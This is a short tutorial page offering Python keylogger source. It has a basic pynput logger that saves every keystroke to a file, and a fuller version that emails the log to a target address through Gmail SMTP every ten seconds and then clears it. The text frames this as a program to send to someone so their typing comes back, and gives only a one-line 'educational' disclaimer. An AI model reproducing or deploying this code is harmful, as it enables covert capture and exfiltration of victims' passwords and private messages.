Keylogger¶
- Use wisely, only for educational and awareness purposes
Basic of Keylogger¶
from pynput.keyboard import Listener
import logging
log_dir = '/directory_you_want/'
logging.basicConfig(filename=(log_dir + "keyslog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
with above code we can capture every typing and save to file, but if we want to send the program to someone we need to send back the log file, in this case we can use email to send the log file. Sending file via email can be seen in previous post
once you know the basic of keylogger and sending file using email, you will have variety of combinations of these methods
Example¶
here the example you can use (or use your own method)
from pynput.keyboard import Key, Listener
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
import logging
import time
import os
import smtplib
log_dir = ""
smtp_ssl_host = 'smtp.gmail.com'
smtp_ssl_port = 465
username = 'your_email@gmail.com'
password = '16_generated_password'
sender = username
targets = ['target@gmail.com']
start = time.time()
print("start =", start)
logging.basicConfig(filename=(log_dir + "keyslog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
global start
print("{0} pressed".format(key))
logging.info(str(key))
elapse = time.time()
if (elapse - start) > 10:
start = elapse
msg = MIMEMultipart()
msg['Subject'] = 'Reporting'
msg['From'] = sender
msg['To'] = ', '.join(targets)
txt = MIMEText('This is the reporting')
msg.attach(txt)
filepath = './keyslog.txt'
with open(filepath, 'r') as f:
img = MIMEText(f.read())
img.add_header('Content-Disposition',
'attachment',
filename=os.path.basename(filepath))
msg.attach(img)
server = smtplib.SMTP_SSL(smtp_ssl_host, smtp_ssl_port)
server.login(username, password)
server.sendmail(sender, targets, msg.as_string())
server.quit()
os.system('echo "" > keyslog.txt')
with Listener(on_press=on_press) as listener:
listener.join()